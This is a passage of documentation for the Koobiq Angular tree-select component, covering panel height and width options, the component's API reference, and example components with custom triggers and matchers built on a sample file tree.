import { KbqTreeSelectModule } from '@koobiq/components/tree-select';

export class FileNode {
    children: FileNode[];
    name: string;
    type: any;
}

/** Flat node with expandable and level information */
export class FileFlatNode {
    name: string;
    type: any;
    level: number;
    expandable: boolean;
    parent: any;
}

/**
 * Build the file structure tree. The `value` is the Json object, or a sub-tree of a Json object.
 * The return value is the list of `FileNode`.
 */
export function buildFileTree(value: any, level: number): FileNode[] {
    const data: any[] = [];

    for (const k of Object.keys(value)) {
        const v = value[k];
        const node = new FileNode();

        node.name = `${k}`;

        if (v === null || v === undefined) {
            // no action
        } else if (typeof v === 'object') {
            node.children = buildFileTree(v, level + 1);
        } else {
            node.type = v;
        }

        data.push(node);
    }

    return data;
}

export const DATA_OBJECT = {
    docs: 'app',
    src: {
        cdk: {
            a11ly: {
                'aria describer': {
                    'aria-describer': 'ts',
                    'aria-describer.spec': 'ts',
                    'aria-reference': 'ts',
                    'aria-reference.spec': 'ts'
                },
                'focus monitor': {
                    'focus-monitor': 'ts',
                    'focus-monitor.spec': 'ts'
                }
            }
        },
        documentation: {
            source: '',
            tools: ''
        },
        mosaic: {
            autocomplete: '',
            button: '',
            'button-toggle': '',
            index: 'ts',
            package: 'json',
            version: 'ts'
        },
        'components-dev': {
            alert: '',
            badge: ''
        },
        'koobiq-examples': '',
        'koobiq-moment-adapter': '',
        README: 'md',
        'tsconfig.build': 'json'
    },
    scripts: {
        deploy: {
            'cleanup-preview': 'ts',
            'publish-artifacts': 'sh',
            'publish-docs': 'sh',
            'publish-docs-preview': 'ts'
        },
        'tsconfig.deploy': 'json'
    },
    tests: ''
};

@Component({
    selector: 'tree-select-height-example',
    imports: [FormsModule, KbqTreeModule, KbqTreeSelectModule, KbqIconModule],
    template: `
        <kbq-form-field>
            <kbq-tree-select [panelMaxHeight]="400" [(ngModel)]="selected">
                <kbq-tree-selection [dataSource]="dataSource" [treeControl]="treeControl">
                    <kbq-tree-option *kbqTreeNodeDef="let node" kbqTreeNodePadding>
                        {{ treeControl.getViewValue(node) }}
                    </kbq-tree-option>

                    <kbq-tree-option *kbqTreeNodeDef="let node; when: hasChild" kbqTreeNodePadding>
                        <i
                            kbq-icon="kbq-chevron-down-s_16"
                            kbqTreeNodeToggle
                            [style.transform]="treeControl.isExpanded(node) ? '' : 'rotate(-90deg)'"
                        ></i>
                        {{ treeControl.getViewValue(node) }}
                    </kbq-tree-option>
                </kbq-tree-selection>
            </kbq-tree-select>
        </kbq-form-field>
    `,
    styles: `
        :host {
            display: flex;
            justify-content: center;
            padding: var(--kbq-size-l);
        }

        .kbq-form-field {
            width: 320px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TreeSelectHeightExample {
    selected = '';

    treeControl: FlatTreeControl<FileFlatNode>;
    treeFlattener: KbqTreeFlattener<FileNode, FileFlatNode>;

    dataSource: KbqTreeFlatDataSource<FileNode, FileFlatNode>;

    constructor() {
        this.treeFlattener = new KbqTreeFlattener(this.transformer, this.getLevel, this.isExpandable, this.getChildren);

        this.treeControl = new FlatTreeControl<FileFlatNode>(
            this.getLevel,
            this.isExpandable,
            this.getValue,
            this.getViewValue
        );
        this.dataSource = new KbqTreeFlatDataSource(this.treeControl, this.treeFlattener);

        this.dataSource.data = buildFileTree(DATA_OBJECT, 0);

        this.treeControl.expandAll();
    }

    hasChild(_: number, nodeData: FileFlatNode) {
        return nodeData.expandable;
    }

    private transformer = (node: FileNode, level: number, parent: any) => {
        const flatNode = new FileFlatNode();

        flatNode.name = node.name;
        flatNode.parent = parent;
        flatNode.type = node.type;
        flatNode.level = level;
        flatNode.expandable = !!node.children;

        return flatNode;
    };

    private getLevel = (node: FileFlatNode) => {
        return node.level;
    };

    private isExpandable = (node: FileFlatNode) => {
        return node.expandable;
    };

    private getChildren = (node: FileNode): FileNode[] => {
        return node.children;
    };

    private getValue = (node: FileFlatNode): string => {
        return node.name;
    };

    private getViewValue = (node: FileFlatNode): string => {
        return `${node.name} view`;
    };
}
```

`panelMaxHeight` caps the scrollable list. A search field and a footer are rendered beside the list, so they add to the total height of the panel. A value larger than the space left in the viewport is clipped by the overlay rather than scrolled.

For all dropdowns in a module, using the `kbqTreeSelectOptionsProvider` provider:

```ts
import { kbqTreeSelectOptionsProvider } from '@koobiq/components/tree-select';

@NgModule({
    providers: [
        kbqTreeSelectOptionsProvider({ panelMaxHeight: 400 })
    ]
})
```

For theming, the same height is available as the `--kbq-select-panel-size-max-height` token — set it on `:root` to change every panel at once, or on a class passed through `panelClass` to change a single one.

#### Dropdown width

By default, the dropdown width equals the select width and grows when the list contains long text. This behavior can be changed using the `panelWidth` attribute:

- `auto` — the dropdown matches the select width, but never gets narrower than `panelMinWidth`.
- a number or a CSS value — used as an exact width, so `panelMinWidth` is not applied to it.

The dropdown never gets narrower than `panelMinWidth`, which is 200px by default. Set `panelMinWidth` to `0` to remove that limit.

Growth by content stops at 640px. The cap is soft — it never makes the dropdown narrower than the select, and never clamps an explicit `panelWidth`. Change it with `panelMaxWidth`, or globally through the `--kbq-panel-size-width-max` token.

For a specific dropdown:

```ts
@Component({
    template: `
        <kbq-form-field>
            <kbq-tree-select [panelWidth]="700">...</kbq-tree-select>
        </kbq-form-field>
    `
})
```

For all dropdowns in a module, using _Dependency Injection_ with the `kbqTreeSelectOptionsProvider` provider:

```ts
import { kbqTreeSelectOptionsProvider } from '@koobiq/components/tree-select';

@NgModule({
    providers: [
        kbqTreeSelectOptionsProvider({ panelWidth: 'auto' })
    ]
})
```

### API

#### Components

##### KbqTreeSelect (component)

```ts
@Component({ selector: 'kbq-tree-select', exportAs: 'kbqTreeSelect' })
class KbqTreeSelect<T = any, K = T> extends KbqAbstractSelect implements ControlValueAccessor, KbqFormFieldControl<KbqTreeOption>, CanUpdateErrorState, KbqSiblingPopup {
    readonly hiddenItemsText = input<string | undefined>();
    readonly hiddenItemsTextFormatter = input<(hiddenItemsText: string, hiddenItems: number) => string>(
        (hiddenItemsText, hiddenItems) => hiddenItemsText.replace('{{ number }}', hiddenItems.toString())
    );
    readonly panelClass = input<| string | string[] | Set<string> | { [key: string]: any; }>();
    readonly backdropClass = input<string>(
        'cdk-overlay-transparent-backdrop'
    );
    readonly ariaLabel = input<string | null>(null, {
        alias: 'aria-label'
    });
    readonly ariaLabelledby = input<string | null>(null, {
        alias: 'aria-labelledby'
    });
    readonly errorStateMatcher = input<ErrorStateMatcher>();
    readonly sortComparator = input<KbqTreeSelectSortComparator>();
    readonly clearPredicate = input<(node: T) => boolean>(
        this.defaultOptions?.clearPredicate ?? ((node) => !this.isNodeDisabled(node))
    );
    readonly multiline = input<boolean>(false);
    readonly placeholder = input<string>();
    readonly required = input<boolean>(false);
    multiple = input<boolean>(false);
    autoSelect = input<boolean>(true);
    readonly selectAllToggle = input<boolean>(false);
    readonly selectAll = input<boolean>(false);
    readonly id = input<string | undefined>();
    readonly hasBackdrop = input<boolean>(false);
    readonly disabled = input<boolean>(false);
    selectAllHandler = input<((event: KeyboardEvent, select: KbqTreeSelect<T, K>) => void) | undefined>();
    readonly panelMinWidth = input<KbqPanelMinWidth>(
        this.defaultOptions?.panelMinWidth === undefined
            ? KBQ_PANEL_DEFAULT_MIN_WIDTH
            : this.defaultOptions.panelMinWidth
    );
    readonly panelWidth = input<KbqPanelWidth>(
        this.defaultOptions?.panelWidth ?? null
    );
    readonly panelMaxWidth = input<KbqPanelMaxWidth>(
        this.defaultOptions?.panelMaxWidth === undefined ? null : this.defaultOptions.panelMaxWidth
    );
    readonly panelMaxHeight = input<KbqPanelMaxHeight>(
        this.defaultOptions?.panelMaxHeight === undefined ? null : this.defaultOptions.panelMaxHeight
    );
    readonly searchMinOptionsThreshold = input<'auto' | number | undefined>();
    readonly selectionChange = output<KbqTreeSelectChange>();
    readonly onSelectAll = output<KbqSelectAllEvent<KbqTreeOption<T>, KbqTreeSelect<T, K>>>();
    elementRef: ElementRef<HTMLElement>;
    defaultErrorStateMatcher: ErrorStateMatcher;
    parentForm: NgForm | null;
    parentFormGroup: FormGroupDirective | null;
    ngControl: NgControl | null;
    readonly errorState: Signal<boolean>;
    controlType: string;
    readonly isNativeLabelSupported: false;
    readonly hiddenItems: WritableSignal<number>;
    triggerFontSize: number;
    selectionModel: SelectionModel<T>;
    scrollStrategy: ScrollStrategy;
    positions: ConnectedPosition[];
    readonly trigger: Signal<ElementRef<any>>;
    readonly panel: Signal<ElementRef<any> | undefined>;
    readonly customTrigger: Signal<KbqSelectTrigger | undefined>;
    readonly customMatcher: Signal<KbqSelectMatcher | undefined>;
    readonly customTagTemplateRef: Signal<TemplateRef<any> | undefined>;
    readonly tree: Signal<KbqTreeSelection<T, K> | undefined>;
    readonly search: Signal<KbqSelectSearch | undefined>;
    readonly openedChange: EventEmitter<boolean>;
    readonly openedStream: Observable<void>;
    readonly closedStream: Observable<void>;
    readonly optionSelectionChanges: Observable<KbqTreeSelectChange>;
    readonly userInteractionChanges: Observable<void>;
    readonly value: Signal<any>;
    readonly focused: Signal<boolean>;
    get multiSelection(): boolean;
    get panelOpen(): boolean;
    get isAttached(): boolean;
    isEmptySearchResult: boolean;
    triggerValues: KbqTreeSelectTriggerValue[];
    get selected(): T | T[];
    get selectedValues(): any;
    get triggerValue(): string;
    readonly empty: Signal<boolean>;
    updateErrorState(): void;
    toggle(): void;
    open(): void;
    close(): void;
    onFocus(): void;
    onBlur(): void;
    onAttached(): void;
    focus(): void;
    onRemoveSelectedOption(
        selectedOption: KbqTreeSelectTriggerValue,
        $event: Event
    ): void;
    triggerKeydownHandler(event: KeyboardEvent): void;
    panelKeydownHandler(event: KeyboardEvent): void;
}
```

- `[hiddenItemsText]`: `string | undefined` — Text of the counter of the selected items that do not fit into the trigger. `{{ number }}` is
  replaced with their number.

  Left unset, the text follows the active locale (`select.hiddenItemsText`); set, it wins over the
  locale and survives a locale change.
- `[hiddenItemsTextFormatter]`: `(hiddenItemsText: string, hiddenItems: number) => string` — Formats the counter of the items that do not fit into the trigger.
- `[panelClass]`: `| string | string[] | Set<string> | { [key: string]: any; }` — Classes to be passed to the select panel. Supports the same syntax as the `[class]` binding.
- `[aria-label]`: `string | null` — Name of the control, for when no element on the page carries it. Defaults to the placeholder.

  Prefer `aria-labelledby` and point it at visible text: a name that duplicates a visible label is one
  more string to keep in sync, and a name with no visible counterpart cannot be spoken back by voice
  control (WCAG 2.5.3).
- `[aria-labelledby]`: `string | null` — Id of the element that names the control. Defaults to the `kbq-label` of a wrapping `kbq-form-field`.

  A `role="combobox"` element takes its name from the author only, so neither the placeholder nor the
  selected values name it, and the `<label for>` of the form field names labelable elements only, which
  a custom control is not. Without a form-field label, point this at whatever visible text names the
  control.
- `[errorStateMatcher]`: `ErrorStateMatcher` — Object used to control when error messages are shown.
- `[sortComparator]`: `KbqTreeSelectSortComparator` — Function used to sort the values in a select in multiple mode, by default their order in the panel.
  Follows the same logic as `Array.prototype.sort`. Receives two selected data nodes and every data node of the
  tree in panel order, collapsed branches included — a node in a collapsed branch has no option.
- `[clearPredicate]`: `(node: T) => boolean` — Decides which selected nodes the projected `KbqCleaner` removes: return `true` to clear the node,
  `false` to keep it. Receives the data node, not the option — a node in a collapsed branch has no
  option. Disabled nodes are kept by default. Bind a stable reference — a new function on every
  change detection re-runs the predicate over the whole selection.

  Not consulted by `writeValue` / `reset()`, which always clear everything. The parameter type becomes the select's
  `T` in a template: type it with the tree's node, not with an option.
- `[multiline]`: `boolean` — Whether to use a multiline matcher or not. Default is false
- `[placeholder]`: `string` — Placeholder shown in the trigger while nothing is selected.
- `[required]`: `boolean` — Whether the select is required.
- `[multiple]`: `boolean` — Whether multiple nodes can be selected. Cannot be changed once the selection model exists.
- `[autoSelect]`: `boolean` — Whether moving the active node selects it. Always off in multiple selection.
- `[selectAllToggle]`: `boolean` — When `true`, a repeated Ctrl/Cmd+A deselects all options. Off by default (Ctrl+A only selects).
- `[selectAll]`: `boolean` — Whether to render the "select all" master checkbox above the tree. Multiple selection only.

  The row acts on the nodes the user can actually toggle — enabled and selectable. Without a search
  query that covers the whole data set, collapsed branches included; while a query is active it
  covers only the matches. Enabling it also makes Ctrl/Cmd + A a two-way toggle, so the shortcut and
  the checkbox never disagree (`selectAllToggle` is implied).
- `[id]`: `string | undefined` — Unique identifier of the select, generated when not provided.
- `[hasBackdrop]`: `boolean` — Whether the overlay panel is rendered on top of a backdrop.
- `[disabled]`: `boolean` — Whether the select is disabled. Also set by the bound form control.
- `[selectAllHandler]`: `((event: KeyboardEvent, select: KbqTreeSelect<T, K>) => void) | undefined` — Function for handling the combination Ctrl + A (select all). By default, the internal handler is used.
- `[panelMinWidth]`: `KbqPanelMinWidth` — Minimum width of the panel.
  If minWidth is larger than window width, it will be ignored.
- `[panelWidth]`: `KbqPanelWidth` — Width of the panel. If set to `auto`, the panel will match the trigger width, but will never be
  narrower than `panelMinWidth`. If set to null or an empty string, the panel will grow to match the
  longest option's text. Any other value is used as an exact width, and `panelMinWidth` is not applied.
- `[panelMaxWidth]`: `KbqPanelMaxWidth` — Maximum width of the panel in pixels. Caps how far the panel grows with its content — it never makes
  the panel narrower than the trigger, and never clamps an explicit `panelWidth`.
  When null, the `--kbq-panel-size-width-max` token applies.
- `[panelMaxHeight]`: `KbqPanelMaxHeight` — Maximum height of the panel's scrollable option list, in pixels. Applied as the
  `--kbq-select-panel-size-max-height` custom property on the panel.

  The search field and the footer sit outside the scrollable area and add to the panel's total height.
  When null, the token default (256px) applies.
- `[searchMinOptionsThreshold]`: `'auto' | number | undefined` — Controls when the search functionality is displayed based on the number of available options.

  Automatically enables search hiding if value provided, even if `defaultOptions.searchMinOptionsThreshold` is provided.
  Defaults to `undefined`.
- `[localeOverrides]`: `KbqPartialLocaleData | undefined` — Localized strings for this element and its subtree, keyed by locale section. Every key is optional at
  every depth.
- `(selectionChange)`: `KbqTreeSelectChange` — Event emitted when the selected value has been changed by the user.
- `(onSelectAll)`: `KbqSelectAllEvent<KbqTreeOption<T>, KbqTreeSelect<T, K>>` — Event emitted whenever the tree's `selectAllOptions()` runs — a click on the `selectAll` master
  checkbox, the Ctrl/Cmd + A shortcut, or a custom `selectAllHandler` that delegates to it.
- `errorState`: `Signal<boolean>` — Whether the component is in an error state.
- `controlType`: `string` — A name for this control that can be used by `kbq-form-field`.
- `isNativeLabelSupported`: `false` — A `kbq-tree-select` is not a native labelable element, so the form-field's `<label for>` cannot
  associate with it. The control is named through `aria-labelledby` instead.
- `hiddenItems`: `WritableSignal<number>` — Number of the selected items that do not fit into the trigger.
- `triggerFontSize`: `number` — The cached font-size of the trigger element.
- `selectionModel`: `SelectionModel<T>` — Deals with the selection logic. The projected `kbq-tree-selection` shares the same instance.

  `T` is the type of the data nodes, the same as the projected tree's. A template infers it from `[clearPredicate]`
  alone, apart from the tree; a query names it: `viewChild.required<KbqTreeSelect<Node>>(KbqTreeSelect)`, and a
  select whose tree control has a `trackBy` names the key type too: `KbqTreeSelect<Node, string>`.
- `scrollStrategy`: `ScrollStrategy` — Strategy that will be used to handle scrolling while the select panel is open.
- `positions`: `ConnectedPosition[]` — Opens the panel below the trigger, falling back to above it when it does not fit.

  A third position is appended at runtime by `updatePanelAnchor`: a multiline trigger that has grown
  taller than the panel gets it anchored to its first row and drawn over the rest of it.
- `trigger`: `Signal<ElementRef<any>>` — Trigger - is a clickable field to open select dropdown panel
- `panel`: `Signal<ElementRef<any> | undefined>` — Reference to the overlay panel element.
- `customTrigger`: `Signal<KbqSelectTrigger | undefined>` — User-supplied override of the trigger element.
- `openedChange`: `EventEmitter<boolean>` — Event emitted when the select panel has been toggled.
  Also serves as the `openedChange` member of the `KbqSiblingPopup` contract — a tooltip sharing
  this element's host reacts to it, so its emission timing (gated on `panelDoneAnimatingStream`, see
  `ngOnInit`) matters beyond this output's original consumers.
- `openedStream`: `Observable<void>` — Event emitted when the select has been opened.
- `closedStream`: `Observable<void>` — Event emitted when the select has been closed.
- `optionSelectionChanges`: `Observable<KbqTreeSelectChange>` — Combined stream of all of the child options' change events.
- `userInteractionChanges`: `Observable<void>` — Combined stream of all of the child options userInteraction events.
- `value`: `Signal<any>` — Values of the selected nodes: an array in multiple mode.
- `focused`: `Signal<boolean>` — Whether the select is focused.
- `multiSelection`: `boolean` — Whether multiple choice is enabled or not. True if multiple or multiline
- `isAttached`: `boolean` — Whether the overlay panel is currently on screen. Part of the `KbqSiblingPopup` contract.
- `empty`: `Signal<boolean>` — Whether no node is selected.
- `close()`: `void` — Closes the overlay panel and focuses the host element.
- `onBlur()`: `void` — Calls the touched callback only if the panel is closed. Otherwise, the trigger will
  "blur" to the panel when it opens, causing a false positive.
- `onAttached()`: `void` — Callback that is invoked when the overlay panel has been attached.
- `onRemoveSelectedOption()`: `void` — Removes an option from the selection through the trailing icon of its tag in the trigger.

#### Classes

##### KbqTreeSelectChange (class)

Change event object that is emitted when the select value has changed.

```ts
class KbqTreeSelectChange<T = any> {
    source: KbqTreeSelect<any, any>;
    value: T;
    isUserInput: boolean;
    values?: unknown[];
    constructor(
        source: KbqTreeSelect<any, any>,
        value: T,
        isUserInput?: boolean,
        values?: unknown[]
    );
}
```

- `source`: `KbqTreeSelect<any, any>` — Select the change comes from.
- `value`: `T` — Option the change is about — a `KbqTreeOption` whenever the changed node is rendered, and the
  raw value of the node when it is not. `null` when the change is not about a single option,
  which today means the cleaner was activated; `values` then carries the nodes it removed.
- `isUserInput`: `boolean` — Whether the change was made by the user rather than written to the model.
- `values?`: `unknown[]` — Every option the change is about, when it covers more than one.
- `constructor()`
  - `source`: `KbqTreeSelect<any, any>` — Select the change comes from.
  - `value`: `T` — Option the change is about — a `KbqTreeOption` whenever the changed node is rendered, and the
    raw value of the node when it is not. `null` when the change is not about a single option,
    which today means the cleaner was activated; `values` then carries the nodes it removed.
  - `isUserInput`: `boolean` — Whether the change was made by the user rather than written to the model.
  - `values`: `unknown[] | undefined` — Every option the change is about, when it covers more than one.

#### Types

##### KbqTreeSelectOptions (type)

Options for the `kbq-tree-select` that can be configured using the `KBQ_TREE_SELECT_OPTIONS` injection token.

```ts
type KbqTreeSelectOptions = Partial<{
    panelWidth: KbqPanelWidth;
    panelMinWidth: KbqPanelMinWidth;
    panelMaxWidth: KbqPanelMaxWidth;
    panelMaxHeight: KbqPanelMaxHeight;
    searchMinOptionsThreshold: 'auto' | number;
    clearPredicate: (node: any) => boolean;
}>;
```

- `panelWidth?`: `KbqPanelWidth` — Width of the panel. If set to `auto`, the panel will match the trigger width.
  If set to null or an empty string, the panel will grow to match the longest option's text.
- `panelMinWidth?`: `KbqPanelMinWidth` — Minimum width of the panel. If minWidth is larger than window width or property set to null, it will be ignored.
- `panelMaxWidth?`: `KbqPanelMaxWidth` — Maximum width of the panel. Caps growth by content only — it never overrides the trigger width or an
  explicit `panelWidth`. If null, the `--kbq-panel-size-width-max` token applies.
- `panelMaxHeight?`: `KbqPanelMaxHeight` — Maximum height of the panel's scrollable option list. Does not include the search field or the
  footer. If null, the `--kbq-select-panel-size-max-height` token applies.
- `searchMinOptionsThreshold?`: `'auto' | number` — Whether to enable hiding search by default if options is less than minimum.

  - `'auto'` uses `KBQ_SELECT_SEARCH_MIN_OPTIONS_THRESHOLD` as min value.
  - number - will enables search hiding and uses value as min.
- `clearPredicate?`: `(node: any) => boolean` — Decides which selected nodes the projected `KbqCleaner` removes. Disabled nodes are kept when this
  is not set. Overridden per instance by the `clearPredicate` attribute.

##### KbqTreeSelectSortComparator (type)

Orders the values of a tree select in multiple mode, as `Array.prototype.sort` does. Receives two selected data
nodes and every data node of the tree in panel order.

```ts
type KbqTreeSelectSortComparator<T = any> = (a: T, b: T, nodes: T[]) => number;
```

##### KbqTreeSelectTriggerValue (type)

Tree select trigger value type.

```ts
type KbqTreeSelectTriggerValue = {
    disabled: boolean;
    value: string;
    viewValue: string;
};
```

#### Constants

##### KBQ_TREE_SELECT_OPTIONS (const)

Injection token that can be used to provide the default options for the `kbq-tree-select`.

```ts
const KBQ_TREE_SELECT_OPTIONS: InjectionToken<KbqTreeSelectOptions>;
```

##### kbqTreeSelectOptionsProvider (const)

Utility provider for `KBQ_TREE_SELECT_OPTIONS`.

```ts
const kbqTreeSelectOptionsProvider: (
    options: KbqTreeSelectOptions
) => Provider;
```

### Examples

#### kbq-select-trigger example

kbq-select-trigger - allows you to override the block that displays the selected value. Without affecting the placeholder, cleaner and icon.

**Example: tree-select-custom-trigger** (`tree-select-custom-trigger`)

```ts tree-select-custom-trigger-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqIconModule } from '@koobiq/components/icon';
import { FlatTreeControl, KbqTreeFlatDataSource, KbqTreeFlattener, KbqTreeModule } from '@koobiq/components/tree';
import { KbqTreeSelectModule } from '@koobiq/components/tree-select';

export class FileNode {
    children: FileNode[];
    name: string;
    type: any;
}

/** Flat node with expandable and level information */
export class FileFlatNode {
    name: string;
    type: any;
    level: number;
    expandable: boolean;
    parent: any;
}

/**
 * Build the file structure tree. The `value` is the Json object, or a sub-tree of a Json object.
 * The return value is the list of `FileNode`.
 */
export function buildFileTree(value: any, level: number): FileNode[] {
    const data: any[] = [];

    for (const k of Object.keys(value)) {
        const v = value[k];
        const node = new FileNode();

        node.name = `${k}`;

        if (v === null || v === undefined) {
            // no action
        } else if (typeof v === 'object') {
            node.children = buildFileTree(v, level + 1);
        } else {
            node.type = v;
        }

        data.push(node);
    }

    return data;
}

export const DATA_OBJECT = {
    docs: 'app',
    src: {
        cdk: {
            a11ly: {
                'aria describer': {
                    'aria-describer': 'ts',
                    'aria-describer.spec': 'ts',
                    'aria-reference': 'ts',
                    'aria-reference.spec': 'ts'
                },
                'focus monitor': {
                    'focus-monitor': 'ts',
                    'focus-monitor.spec': 'ts'
                }
            }
        },
        documentation: {
            source: '',
            tools: ''
        },
        mosaic: {
            autocomplete: '',
            button: '',
            'button-toggle': '',
            index: 'ts',
            package: 'json',
            version: 'ts'
        },
        'components-dev': {
            alert: '',
            badge: ''
        },
        'koobiq-examples': '',
        'koobiq-moment-adapter': '',
        README: 'md',
        'tsconfig.build': 'json'
    },
    scripts: {
        deploy: {
            'cleanup-preview': 'ts',
            'publish-artifacts': 'sh',
            'publish-docs': 'sh',
            'publish-docs-preview': 'ts'
        },
        'tsconfig.deploy': 'json'
    },
    tests: ''
};

@Component({
    selector: 'tree-select-custom-trigger-example',
    imports: [FormsModule, KbqTreeModule, KbqTreeSelectModule, KbqIconModule, KbqButtonModule],
    template: `
        <kbq-tree-select #select="kbqTreeSelect" [(ngModel)]="selected">
            <ng-container kbq-select-trigger>custom trigger {{ select.triggerValue }}</ng-container>

            <kbq-tree-selection [dataSource]="dataSource" [treeControl]="treeControl">
                <kbq-tree-option *kbqTreeNodeDef="let node" kbqTreeNodePadding>
                    {{ treeControl.getViewValue(node) }}
                </kbq-tree-option>

                <kbq-tree-option *kbqTreeNodeDef="let node; when: hasChild" kbqTreeNodePadding>
                    <i
                        kbq-icon="kbq-chevron-down-s_16"
                        kbqTreeNodeToggle
                        [style.transform]="treeControl.isExpanded(node) ? '' : 'rotate(-90deg)'"
                    ></i>
                    {{ treeControl.getViewValue(node) }}
                </kbq-tree-option>
            </kbq-tree-selection>
        </kbq-tree-select>
    `,
    styles: `
        :host {
            display: flex;
            justify-content: center;
            padding: var(--kbq-size-l);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TreeSelectCustomTriggerExample {
    selected = 'docs';

    treeControl: FlatTreeControl<FileFlatNode>;
    treeFlattener: KbqTreeFlattener<FileNode, FileFlatNode>;

    dataSource: KbqTreeFlatDataSource<FileNode, FileFlatNode>;

    constructor() {
        this.treeFlattener = new KbqTreeFlattener(this.transformer, this.getLevel, this.isExpandable, this.getChildren);

        this.treeControl = new FlatTreeControl<FileFlatNode>(
            this.getLevel,
            this.isExpandable,
            this.getValue,
            this.getViewValue
        );
        this.dataSource = new KbqTreeFlatDataSource(this.treeControl, this.treeFlattener);

        this.dataSource.data = buildFileTree(DATA_OBJECT, 0);
    }

    hasChild(_: number, nodeData: FileFlatNode) {
        return nodeData.expandable;
    }

    private transformer = (node: FileNode, level: number, parent: any) => {
        const flatNode = new FileFlatNode();

        flatNode.name = node.name;
        flatNode.parent = parent;
        flatNode.type = node.type;
        flatNode.level = level;
        flatNode.expandable = !!node.children;

        return flatNode;
    };

    private getLevel = (node: FileFlatNode) => {
        return node.level;
    };

    private isExpandable = (node: FileFlatNode) => {
        return node.expandable;
    };

    private getChildren = (node: FileNode): FileNode[] => {
        return node.children;
    };

    private getValue = (node: FileFlatNode): string => {
        return node.name;
    };

    private getViewValue = (node: FileFlatNode): string => {
        return `${node.name} view`;
    };
}
```

#### kbq-select-matcher example

kbq-select-matcher - allows you to replace the entire contents of kbq-select, including placeholder, cleaner and icon

**Example: tree-select-custom-matcher** (`tree-select-custom-matcher`)

```ts tree-select-custom-matcher-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqIconModule } from '@koobiq/components/icon';
import { FlatTreeControl, KbqTreeFlatDataSource, KbqTreeFlattener, KbqTreeModule } from '@koobiq/components/tree';
import { KbqTreeSelectModule } from '@koobiq/components/tree-select';

export class FileNode {
    children: FileNode[];
    name: string;
    type: any;
}

/** Flat node with expandable and level information */
export class FileFlatNode {
    name: string;
    type: any;
    level: number;
    expandable: boolean;
    parent: any;
}

/**
 * Build the file structure tree. The `value` is the Json object, or a sub-tree of a Json object.
 * The return value is the list of `FileNode`.
 */
export function buildFileTree(value: any, level: number): FileNode[] {
    const data: any[] = [];

    for (const k of Object.keys(value)) {
        const v = value[k];
        const node = new FileNode();

        node.name = `${k}`;

        if (v === null || v === undefined) {
            // no action
        } else if (typeof v === 'object') {
            node.children = buildFileTree(v, level + 1);
        } else {
            node.type = v;
        }

        data.push(node);
    }

    return data;
}

export const DATA_OBJECT = {
    docs: 'app',
    src: {
        cdk: {
            a11ly: {
                'aria describer': {
                    'aria-describer': 'ts',
                    'aria-describer.spec': 'ts',
                    'aria-reference': 'ts',
                    'aria-reference.spec': 'ts'
                },
                'focus monitor': {
                    'focus-monitor': 'ts',
                    'focus-monitor.spec': 'ts'
                }
            }
        },
        documentation: {
            source: '',
            tools: ''
        },
        mosaic: {
            autocomplete: '',
            button: '',
            'button-toggle': '',
            index: 'ts',
            package: 'json',
            version: 'ts'
        },
        'components-dev': {
            alert: '',
            badge: ''
        },
        'koobiq-examples': '',
        'koobiq-moment-adapter': '',
        README: 'md',
        'tsconfig.build': 'json'
    },
    scripts: {
        deploy: {
            'cleanup-preview': 'ts',
            'publish-artifacts': 'sh',
            'publish-docs': 'sh',
            'publish-docs-preview': 'ts'
        },
        'tsconfig.deploy': 'json'
    },
    tests: ''
};

@Component({
    selector: 'tree-select-custom-matcher-example',
    imports: [FormsModule, KbqTreeModule, KbqTreeSelectModule, KbqIconModule, KbqButtonModule],
    template: `
        <kbq-tree-select
            #select="kbqTreeSelect"
            [class]="{ 'kbq-tree-select': false, 'my-custom-select': true }"
            [tabIndex]="-1"
            [(ngModel)]="selected"
        >
            <button kbq-button kbq-select-matcher>
                {{ select.triggerValue }}

                <i class="layout-padding-left-3xs" kbq-icon="kbq-chevron-down-s_16"></i>
            </button>

            <kbq-tree-selection [dataSource]="dataSource" [treeControl]="treeControl">
                <kbq-tree-option *kbqTreeNodeDef="let node" kbqTreeNodePadding>
                    {{ treeControl.getViewValue(node) }}
                </kbq-tree-option>

                <kbq-tree-option *kbqTreeNodeDef="let node; when: hasChild" kbqTreeNodePadding>
                    <i
                        kbq-icon="kbq-chevron-down-s_16"
                        kbqTreeNodeToggle
                        [style.transform]="treeControl.isExpanded(node) ? '' : 'rotate(-90deg)'"
                    ></i>
                    {{ treeControl.getViewValue(node) }}
                </kbq-tree-option>
            </kbq-tree-selection>
        </kbq-tree-select>
    `,
    styles: `
        :host {
            display: flex;
            justify-content: center;
            padding: var(--kbq-size-l);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TreeSelectCustomMatcherExample {
    selected = 'docs';

    treeControl: FlatTreeControl<FileFlatNode>;
    treeFlattener: KbqTreeFlattener<FileNode, FileFlatNode>;

    dataSource: KbqTreeFlatDataSource<FileNode, FileFlatNode>;

    constructor() {
        this.treeFlattener = new KbqTreeFlattener(this.transformer, this.getLevel, this.isExpandable, this.getChildren);

        this.treeControl = new FlatTreeControl<FileFlatNode>(
            this.getLevel,
            this.isExpandable,
            this.getValue,
            this.getViewValue
        );
        this.dataSource = new KbqTreeFlatDataSource(this.treeControl, this.treeFlattener);

        this.dataSource.data = buildFileTree(DATA_OBJECT, 0);
    }

    hasChild(_: number, nodeData: FileFlatNode) {
        return nodeData.expandable;
    }

    private transformer = (node: FileNode, level: number, parent: any) => {
        const flatNode = new FileFlatNode();

        flatNode.name = node.name;
        flatNode.parent = parent;
        flatNode.type = node.type;
        flatNode.level = level;
        flatNode.expandable = !!node.children;

        return flatNode;
    };

    private getLevel = (node: FileFlatNode) => {
        return node.level;
    };

    private isExpandable = (node: FileFlatNode) => {
        return node.expandable;
    };

    private getChildren = (node: FileNode): FileNode[] => {
        return node.children;
    };

    private getValue = (node: FileFlatNode): string => {
        return node.name;
    };

    private getViewValue = (node: FileFlatNode): string => {
        return `${node.name} view`;
    };
}
```

#### Input field example

An input inside `kbq-select-matcher`. `[useDefaultHandlers]="false"` turns off the tree select's own click, keyboard and focus handlers, which would otherwise toggle the panel on every click and swallow `Space` and `Enter` typed into the input. The example opens the panel and passes the keys to it by itself.

